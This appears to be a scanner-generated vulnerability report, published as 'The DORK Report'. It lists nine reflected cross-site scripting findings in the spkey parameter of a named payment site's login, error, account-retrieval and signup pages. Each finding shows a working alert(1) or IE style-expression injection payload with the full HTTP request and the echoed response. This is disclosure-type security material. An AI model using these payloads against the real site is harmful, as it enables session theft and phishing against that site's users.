Report generated by Hoyt LLC at Fri Oct 29 00:10:55 CDT 2010.


The DORK Report

Loading

1. Cross-site scripting (reflected)

1.1. https://idp.securepaynet.net/Error.aspx [spkey parameter]

1.2. https://idp.securepaynet.net/Error.aspx [spkey parameter]

1.3. https://idp.securepaynet.net/Error.aspx [spkey parameter]

1.4. https://idp.securepaynet.net/login.aspx [spkey parameter]

1.5. https://idp.securepaynet.net/login.aspx [spkey parameter]

1.6. https://idp.securepaynet.net/retrieveaccount.aspx [spkey parameter]

1.7. https://idp.securepaynet.net/retrieveaccount.aspx [spkey parameter]

1.8. https://idp.securepaynet.net/shopper_new.aspx [spkey parameter]

1.9. https://idp.securepaynet.net/shopper_new.aspx [spkey parameter]



1. Cross-site scripting (reflected)
There are 9 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. https://idp.securepaynet.net/Error.aspx [spkey parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://idp.securepaynet.net
Path:   /Error.aspx

Issue detail

The value of the spkey request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bf705"%3balert(1)//3223f05bd1e was submitted in the spkey parameter. This input was echoed as bf705";alert(1)//3223f05bd1e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /Error.aspx?ci=9106&prog_id=459465&spkey=bf705"%3balert(1)//3223f05bd1e&signalnonorig=https%3a%2f%2fmya.securepaynet.net%2flogin_redirect.aspx HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Encoding: gzip, deflate
Cookie: currency459469=potableSourceStr=USD; currencypopin459469=cdisplaypopin=false; flag459469=cflag=us; visitor=vid=8ee3bdf9-cff0-40f1-bd30-5774c34a0ca9
Host: idp.securepaynet.net
Connection: Keep-Alive
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)

Response

HTTP/1.1 200 OK
Date: Thu, 28 Oct 2010 19:20:01 GMT
Server: Microsoft-IIS/6.0
P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=1e1thb55xveq1r5555dzs555; path=/; HttpOnly
Set-Cookie: traffic=; domain=securepaynet.net; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 87597


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>My Account - An Error Occurred</title>
<l
...[SNIP]...
repaynet.net/";
var pcj_url_img="https://img5.wsimg.com/";
var pcj_url_mya="https://mya.securepaynet.net/";
var pcj_login_root_url="https://idp.securepaynet.net/login.aspx?ci=9106&prog_id=459465&spkey=bf705";alert(1)//3223f05bd1e"
var pcj_ssoTargetKey = "target";
var pcj_isCart = false;
var pcj_cname = "ShopperId459465";
var pcj_cdomain = ".securepaynet.net";
var pcj_callov = false; var pcj_call = true;
var pcj_isMgr = false;

...[SNIP]...

1.2. https://idp.securepaynet.net/Error.aspx [spkey parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://idp.securepaynet.net
Path:   /Error.aspx

Issue detail

The value of the spkey request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 7a9c8%3balert(1)//a2c2c07cfc2 was submitted in the spkey parameter. This input was echoed as 7a9c8;alert(1)//a2c2c07cfc2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /Error.aspx?ci=9106&prog_id=459465&spkey=SPSWB190CORPWEB146d8e1b%22style%3d%22x%3aexpression(alert(1))%226727b9787235d06547a9c8%3balert(1)//a2c2c07cfc2&signalnonorig=https%3a%2f%2fmya.securepaynet.net%2flogin_redirect.aspx HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Encoding: gzip, deflate
Cookie: currency459469=potableSourceStr=USD; currencypopin459469=cdisplaypopin=false; flag459469=cflag=us; visitor=vid=8ee3bdf9-cff0-40f1-bd30-5774c34a0ca9
Host: idp.securepaynet.net
Connection: Keep-Alive
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)

Response

HTTP/1.1 200 OK
Date: Thu, 28 Oct 2010 19:20:02 GMT
Server: Microsoft-IIS/6.0
P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=illjjc45eohxgfmfngwl2c2d; path=/; HttpOnly
Set-Cookie: traffic=; domain=securepaynet.net; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 88181


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>My Account - An Error Occurred</title>
<l
...[SNIP]...
mya="https://mya.securepaynet.net/";
var pcj_login_root_url="https://idp.securepaynet.net/login.aspx?ci=9106&prog_id=459465&spkey=SPSWB190CORPWEB146d8e1b"style="x:expression(alert(1))"6727b9787235d06547a9c8;alert(1)//a2c2c07cfc2"
var pcj_ssoTargetKey = "target";
var pcj_isCart = false;
var pcj_cname = "ShopperId459465";
var pcj_cdomain = ".securepaynet.net";
var pcj_callov = false; var pcj_call = true;
var pcj_isMgr = false;

...[SNIP]...

1.3. https://idp.securepaynet.net/Error.aspx [spkey parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://idp.securepaynet.net
Path:   /Error.aspx

Issue detail

The value of the spkey request parameter is copied into the name of an HTML tag attribute. The payload 8ef09%20style%3dx%3aexpression(alert(1))%2001e9e2bc7f8 was submitted in the spkey parameter. This input was echoed as 8ef09 style=x:expression(alert(1)) 01e9e2bc7f8 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /Error.aspx?ci=9106&prog_id=459465&spkey=SPSWB190CORPWEB146d8e1b%22style%3d%22x%3aexpression(alert(1))%226727b9787235d06548ef09%20style%3dx%3aexpression(alert(1))%2001e9e2bc7f8&signalnonorig=https%3a%2f%2fmya.securepaynet.net%2flogin_redirect.aspx HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Encoding: gzip, deflate
Cookie: currency459469=potableSourceStr=USD; currencypopin459469=cdisplaypopin=false; flag459469=cflag=us; visitor=vid=8ee3bdf9-cff0-40f1-bd30-5774c34a0ca9
Host: idp.securepaynet.net
Connection: Keep-Alive
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)

Response

HTTP/1.1 200 OK
Date: Thu, 28 Oct 2010 19:19:50 GMT
Server: Microsoft-IIS/6.0
P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=bxgpae55bnwkfpn44qppt045; path=/; HttpOnly
Set-Cookie: traffic=; domain=securepaynet.net; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 88331


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>My Account - An Error Occurred</title>
<l
...[SNIP]...
n: 0;" name="pchFL" id="pchFL" method="POST" action="https://idp.securepaynet.net/login.aspx?ci=9106&amp;prog_id=459465&amp;spkey=SPSWB190CORPWEB146d8e1b"style="x:expression(alert(1))"6727b9787235d06548ef09 style=x:expression(alert(1)) 01e9e2bc7f8" onSubmit="return pchj_login_action(this);">
...[SNIP]...

1.4. https://idp.securepaynet.net/login.aspx [spkey parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://idp.securepaynet.net
Path:   /login.aspx

Issue detail

The value of the spkey request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2901a"%3balert(1)//3b4e8cb5b5c was submitted in the spkey parameter. This input was echoed as 2901a";alert(1)//3b4e8cb5b5c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /login.aspx?ci=9106&prog_id=459469&spkey=SPSWNET-CORPWEB1242901a"%3balert(1)//3b4e8cb5b5c HTTP/1.1
Host: idp.securepaynet.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: currency459465=potableSourceStr=USD; pathway=398a2cc3-b6c1-4504-88c8-fd4f8aec892b; flag459469=cflag=us; flag459465=cflag=us; currencypopin459465=cdisplaypopin=false; visitor=vid=8ee3bdf9-cff0-40f1-bd30-5774c34a0ca9; actioncount=; app_pathway=; currencypopin459469=cdisplaypopin=false; traffic=cookies=1&referrer=&sitename=www.securepaynet.net&page=/Default404.aspx&server=CORPWEB124&status=200 OK&querystring=prog_id=459465&shopper=&privatelabelid=459465&isc=&clientip=174.121.222.18&referringpath=398a2cc3-b6c1-4504-88c8-fd4f8aec892b&referringdomain=; adc459465=US; pagecount=1; adc459469=US; ASP.NET_SessionId=buyg0n55dknbid55bliofby2; currency459469=potableSourceStr=USD;

Response (redirected)

HTTP/1.1 200 OK
Connection: close
Date: Fri, 29 Oct 2010 05:00:25 GMT
Server: Microsoft-IIS/6.0
P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: traffic=cookies=1&referrer=&sitename=www.securepaynet.net&page=/Default404.aspx&server=CORPWEB124&status=200 OK&querystring=prog_id=459465&shopper=&privatelabelid=459465&isc=&clientip=174.121.222.18&referringpath=398a2cc3-b6c1-4504-88c8-fd4f8aec892b&referringdomain=; domain=securepaynet.net; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 78360


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>My Account - An Error Occurred</title>
<l
...[SNIP]...
r pcj_url_img="https://img5.wsimg.com/";
var pcj_url_mya="https://mya.securepaynet.net/";
var pcj_login_root_url="https://idp.securepaynet.net/login.aspx?ci=9106&prog_id=459469&spkey=SPSWNET-CORPWEB1242901a";alert(1)//3b4e8cb5b5c"
var pcj_ssoTargetKey = "target";
var pcj_isCart = false;
var pcj_cname = "ShopperId459469";
var pcj_cdomain = ".securepaynet.net";
var pcj_callov = false; var pcj_call = true;
var pcj_isMgr = false;

...[SNIP]...

1.5. https://idp.securepaynet.net/login.aspx [spkey parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://idp.securepaynet.net
Path:   /login.aspx

Issue detail

The value of the spkey request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 80f8a"style%3d"x%3aexpression(alert(1))"c13140214a0 was submitted in the spkey parameter. This input was echoed as 80f8a"style="x:expression(alert(1))"c13140214a0 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /login.aspx?ci=9106&prog_id=459469&spkey=SPSWNET-CORPWEB12480f8a"style%3d"x%3aexpression(alert(1))"c13140214a0 HTTP/1.1
Host: idp.securepaynet.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: currency459465=potableSourceStr=USD; pathway=398a2cc3-b6c1-4504-88c8-fd4f8aec892b; flag459469=cflag=us; flag459465=cflag=us; currencypopin459465=cdisplaypopin=false; visitor=vid=8ee3bdf9-cff0-40f1-bd30-5774c34a0ca9; actioncount=; app_pathway=; currencypopin459469=cdisplaypopin=false; traffic=cookies=1&referrer=&sitename=www.securepaynet.net&page=/Default404.aspx&server=CORPWEB124&status=200 OK&querystring=prog_id=459465&shopper=&privatelabelid=459465&isc=&clientip=174.121.222.18&referringpath=398a2cc3-b6c1-4504-88c8-fd4f8aec892b&referringdomain=; adc459465=US; pagecount=1; adc459469=US; ASP.NET_SessionId=buyg0n55dknbid55bliofby2; currency459469=potableSourceStr=USD;

Response (redirected)

HTTP/1.1 200 OK
Connection: close
Date: Fri, 29 Oct 2010 05:00:02 GMT
Server: Microsoft-IIS/6.0
P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: traffic=cookies=1&referrer=&sitename=www.securepaynet.net&page=/Default404.aspx&server=CORPWEB124&status=200 OK&querystring=prog_id=459465&shopper=&privatelabelid=459465&isc=&clientip=174.121.222.18&referringpath=398a2cc3-b6c1-4504-88c8-fd4f8aec892b&referringdomain=; domain=securepaynet.net; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 78518


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>My Account - An Error Occurred</title>
<l
...[SNIP]...
<form style="margin: 0;" name="pchFL" id="pchFL" method="POST" action="https://idp.securepaynet.net/login.aspx?ci=9106&amp;prog_id=459469&amp;spkey=SPSWNET-CORPWEB12480f8a"style="x:expression(alert(1))"c13140214a0" onSubmit="return pchj_login_action(this);">
...[SNIP]...

1.6. https://idp.securepaynet.net/retrieveaccount.aspx [spkey parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://idp.securepaynet.net
Path:   /retrieveaccount.aspx

Issue detail

The value of the spkey request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 26e3d"style%3d"x%3aexpression(alert(1))"e568c7a8573 was submitted in the spkey parameter. This input was echoed as 26e3d"style="x:expression(alert(1))"e568c7a8573 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /retrieveaccount.aspx?ci=9107&prog_id=459469&spkey=SPSWNET-CORPWEB12426e3d"style%3d"x%3aexpression(alert(1))"e568c7a8573 HTTP/1.1
Host: idp.securepaynet.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: currency459465=potableSourceStr=USD; pathway=398a2cc3-b6c1-4504-88c8-fd4f8aec892b; flag459469=cflag=us; flag459465=cflag=us; currencypopin459465=cdisplaypopin=false; visitor=vid=8ee3bdf9-cff0-40f1-bd30-5774c34a0ca9; actioncount=; app_pathway=; currencypopin459469=cdisplaypopin=false; traffic=cookies=1&referrer=&sitename=www.securepaynet.net&page=/Default404.aspx&server=CORPWEB124&status=200 OK&querystring=prog_id=459465&shopper=&privatelabelid=459465&isc=&clientip=174.121.222.18&referringpath=398a2cc3-b6c1-4504-88c8-fd4f8aec892b&referringdomain=; adc459465=US; pagecount=1; adc459469=US; ASP.NET_SessionId=buyg0n55dknbid55bliofby2; currency459469=potableSourceStr=USD;

Response

HTTP/1.1 200 OK
Connection: close
Date: Fri, 29 Oct 2010 05:00:18 GMT
Server: Microsoft-IIS/6.0
P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: traffic=cookies=1&referrer=&sitename=www.securepaynet.net&page=/Default404.aspx&server=CORPWEB124&status=200 OK&querystring=prog_id=459465&shopper=&privatelabelid=459465&isc=&clientip=174.121.222.18&referringpath=398a2cc3-b6c1-4504-88c8-fd4f8aec892b&referringdomain=; domain=securepaynet.net; path=/
Set-Cookie: traffic=cookies=1&referrer=&sitename=www.securepaynet.net&page=/Default404.aspx&server=CORPWEB124&status=200 OK&querystring=prog_id=459465&shopper=&privatelabelid=459465&isc=&clientip=174.121.222.18&referringpath=398a2cc3-b6c1-4504-88c8-fd4f8aec892b&referringdomain=; domain=securepaynet.net; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 89450


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head><script src="https:/
...[SNIP]...
<form style="margin: 0;" name="pchFL" id="pchFL" method="POST" action="https://idp.securepaynet.net/login.aspx?ci=9106&amp;prog_id=459469&amp;spkey=SPSWNET-CORPWEB12426e3d"style="x:expression(alert(1))"e568c7a8573" onSubmit="return pchj_login_action(this);">
...[SNIP]...

1.7. https://idp.securepaynet.net/retrieveaccount.aspx [spkey parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://idp.securepaynet.net
Path:   /retrieveaccount.aspx

Issue detail

The value of the spkey request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 945e4"%3balert(1)//e69c8e91c53 was submitted in the spkey parameter. This input was echoed as 945e4";alert(1)//e69c8e91c53 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /retrieveaccount.aspx?ci=9107&prog_id=459469&spkey=SPSWNET-CORPWEB124945e4"%3balert(1)//e69c8e91c53 HTTP/1.1
Host: idp.securepaynet.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: currency459465=potableSourceStr=USD; pathway=398a2cc3-b6c1-4504-88c8-fd4f8aec892b; flag459469=cflag=us; flag459465=cflag=us; currencypopin459465=cdisplaypopin=false; visitor=vid=8ee3bdf9-cff0-40f1-bd30-5774c34a0ca9; actioncount=; app_pathway=; currencypopin459469=cdisplaypopin=false; traffic=cookies=1&referrer=&sitename=www.securepaynet.net&page=/Default404.aspx&server=CORPWEB124&status=200 OK&querystring=prog_id=459465&shopper=&privatelabelid=459465&isc=&clientip=174.121.222.18&referringpath=398a2cc3-b6c1-4504-88c8-fd4f8aec892b&referringdomain=; adc459465=US; pagecount=1; adc459469=US; ASP.NET_SessionId=buyg0n55dknbid55bliofby2; currency459469=potableSourceStr=USD;

Response

HTTP/1.1 200 OK
Connection: close
Date: Fri, 29 Oct 2010 05:00:33 GMT
Server: Microsoft-IIS/6.0
P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: traffic=cookies=1&referrer=&sitename=www.securepaynet.net&page=/Default404.aspx&server=CORPWEB124&status=200 OK&querystring=prog_id=459465&shopper=&privatelabelid=459465&isc=&clientip=174.121.222.18&referringpath=398a2cc3-b6c1-4504-88c8-fd4f8aec892b&referringdomain=; domain=securepaynet.net; path=/
Set-Cookie: traffic=cookies=1&referrer=&sitename=www.securepaynet.net&page=/Default404.aspx&server=CORPWEB124&status=200 OK&querystring=prog_id=459465&shopper=&privatelabelid=459465&isc=&clientip=174.121.222.18&referringpath=398a2cc3-b6c1-4504-88c8-fd4f8aec892b&referringdomain=; domain=securepaynet.net; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 89292


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head><script src="https:/
...[SNIP]...
r pcj_url_img="https://img5.wsimg.com/";
var pcj_url_mya="https://mya.securepaynet.net/";
var pcj_login_root_url="https://idp.securepaynet.net/login.aspx?ci=9106&prog_id=459469&spkey=SPSWNET-CORPWEB124945e4";alert(1)//e69c8e91c53"
var pcj_ssoTargetKey = "target";
var pcj_isCart = false;
var pcj_cname = "ShopperId459469";
var pcj_cdomain = ".securepaynet.net";
var pcj_callov = false; var pcj_call = true;
var pcj_isMgr = false;

...[SNIP]...

1.8. https://idp.securepaynet.net/shopper_new.aspx [spkey parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://idp.securepaynet.net
Path:   /shopper_new.aspx

Issue detail

The value of the spkey request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9ef0e"style%3d"x%3aexpression(alert(1))"9882ecc1ad was submitted in the spkey parameter. This input was echoed as 9ef0e"style="x:expression(alert(1))"9882ecc1ad in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /shopper_new.aspx?ci=10530&prog_id=459469&spkey=SPSWNET-CORPWEB1249ef0e"style%3d"x%3aexpression(alert(1))"9882ecc1ad HTTP/1.1
Host: idp.securepaynet.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: currency459465=potableSourceStr=USD; pathway=398a2cc3-b6c1-4504-88c8-fd4f8aec892b; flag459469=cflag=us; flag459465=cflag=us; currencypopin459465=cdisplaypopin=false; visitor=vid=8ee3bdf9-cff0-40f1-bd30-5774c34a0ca9; actioncount=; app_pathway=; currencypopin459469=cdisplaypopin=false; traffic=cookies=1&referrer=&sitename=www.securepaynet.net&page=/Default404.aspx&server=CORPWEB124&status=200 OK&querystring=prog_id=459465&shopper=&privatelabelid=459465&isc=&clientip=174.121.222.18&referringpath=398a2cc3-b6c1-4504-88c8-fd4f8aec892b&referringdomain=; adc459465=US; pagecount=1; adc459469=US; ASP.NET_SessionId=buyg0n55dknbid55bliofby2; currency459469=potableSourceStr=USD;

Response (redirected)

HTTP/1.1 200 OK
Connection: close
Date: Fri, 29 Oct 2010 04:59:46 GMT
Server: Microsoft-IIS/6.0
P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: traffic=cookies=1&referrer=&sitename=www.securepaynet.net&page=/Default404.aspx&server=CORPWEB124&status=200 OK&querystring=prog_id=459465&shopper=&privatelabelid=459465&isc=&clientip=174.121.222.18&referringpath=398a2cc3-b6c1-4504-88c8-fd4f8aec892b&referringdomain=; domain=securepaynet.net; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 78511


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>My Account - An Error Occurred</title>
<l
...[SNIP]...
<form style="margin: 0;" name="pchFL" id="pchFL" method="POST" action="https://idp.securepaynet.net/login.aspx?ci=9106&amp;prog_id=459469&amp;spkey=SPSWNET-CORPWEB1249ef0e"style="x:expression(alert(1))"9882ecc1ad" onSubmit="return pchj_login_action(this);">
...[SNIP]...

1.9. https://idp.securepaynet.net/shopper_new.aspx [spkey parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   https://idp.securepaynet.net
Path:   /shopper_new.aspx

Issue detail

The value of the spkey request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f1ad4"%3balert(1)//da8badaad00 was submitted in the spkey parameter. This input was echoed as f1ad4";alert(1)//da8badaad00 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /shopper_new.aspx?ci=10530&prog_id=459469&spkey=SPSWNET-CORPWEB124f1ad4"%3balert(1)//da8badaad00 HTTP/1.1
Host: idp.securepaynet.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: currency459465=potableSourceStr=USD; pathway=398a2cc3-b6c1-4504-88c8-fd4f8aec892b; flag459469=cflag=us; flag459465=cflag=us; currencypopin459465=cdisplaypopin=false; visitor=vid=8ee3bdf9-cff0-40f1-bd30-5774c34a0ca9; actioncount=; app_pathway=; currencypopin459469=cdisplaypopin=false; traffic=cookies=1&referrer=&sitename=www.securepaynet.net&page=/Default404.aspx&server=CORPWEB124&status=200 OK&querystring=prog_id=459465&shopper=&privatelabelid=459465&isc=&clientip=174.121.222.18&referringpath=398a2cc3-b6c1-4504-88c8-fd4f8aec892b&referringdomain=; adc459465=US; pagecount=1; adc459469=US; ASP.NET_SessionId=buyg0n55dknbid55bliofby2; currency459469=potableSourceStr=USD;

Response (redirected)

HTTP/1.1 200 OK
Connection: close
Date: Fri, 29 Oct 2010 05:00:10 GMT
Server: Microsoft-IIS/6.0
P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: traffic=cookies=1&referrer=&sitename=www.securepaynet.net&page=/Default404.aspx&server=CORPWEB124&status=200 OK&querystring=prog_id=459465&shopper=&privatelabelid=459465&isc=&clientip=174.121.222.18&referringpath=398a2cc3-b6c1-4504-88c8-fd4f8aec892b&referringdomain=; domain=securepaynet.net; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 78362


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
